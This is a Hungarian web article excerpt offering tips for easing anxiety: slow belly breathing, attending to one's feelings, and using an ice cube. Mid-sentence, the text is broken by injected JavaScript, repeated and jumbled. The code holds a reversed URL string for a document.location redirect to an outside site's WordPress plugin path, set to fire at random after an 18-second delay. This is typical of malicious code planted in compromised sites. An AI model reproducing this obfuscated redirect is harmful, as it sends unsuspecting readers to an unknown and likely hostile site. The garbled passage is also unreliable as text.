Vegyél mély lélegzetet! Ha lassan, és mély levegőt veszünk, „hasból lélegzünk”, akkor egy viszonylag rövid idő után, az agyunk az őt ért ingerek hatására megnyugszik. Így ez egy remek technika arra, hogy agyunk ne a szorongásra koncentráljon. Figyelj az érzéseidre! Ha összeszedetten, megpróbálod kontrollálni érzéseid, tested is a segítségedre lesz a probléma elhárításában. A jégkocka is segíthet! Bár elsőre talán furcsán hangzik, de egy jégkocka is segíthet a szorongás oldásában. Ilyen helyzetekben ugyanis arra koncentrálunk ami nyomaszt minket, ezáltal az érzés csak fokozódik. Ha hirtelen hőmérséklet váltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozás ér minket, agyunk visszatér a jelenbe, kizökken a korábbi szorongást fokozó állapotból. Ezáltal…
A cikk folytatódik: http://lelkielet.co.hu/tanulsagos/2018/02/06/hogyan-gyozhetjuk-le-a-szorongast-.html
- Hirdetés -
